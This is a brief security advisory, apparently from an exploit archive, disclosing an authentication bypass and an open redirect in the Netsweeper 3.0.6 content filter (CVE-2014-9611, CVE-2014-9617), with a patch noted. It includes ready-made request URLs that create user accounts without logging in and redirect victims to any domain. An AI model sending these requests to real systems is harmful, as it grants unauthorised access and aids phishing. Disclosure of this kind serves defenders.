Netsweeper 3.0.6 - Authentication Bypass / Open Redirection Vulnerabilities

+------------------------------------------------------------------------+
+ Netsweeper 3.0.6 - Authentication Bypass (Account and Policy Creation) +
+------------------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage	: www.netsweeper.com
Version 	: 3.0.6 (and probably other versions)
Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9611, CVE-2014-9617

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
An non-authenticated is able to provision new user accounts (and also create new policies under the same name as the newly created user accounts) 

URL Path: http:/netsweeper:8080/webadmin/nslam/index.php?username=secuid0&password=secuid0&ip=127.0.0.1&theme=Global%20Web%20Admin%20Theme&groupname=

+-------------------------------------+
+ Netsweeper 3.0.6 - Open Redirection +
+-------------------------------------+

Netsweeper v3.0.6 (and probably earlier versions) accepts a user-controlled input that specifies a link to an external site, and uses that link in a HTTP Redirect.

URL Path: http://netsweeper:8080/remotereporter/load_logfiles.php?server=127.0.0.1&url=http://<any_domain>



+----------+
+ Solution +
+----------+
Upgrade to latest version.

#  0day.today [2018-04-04]  #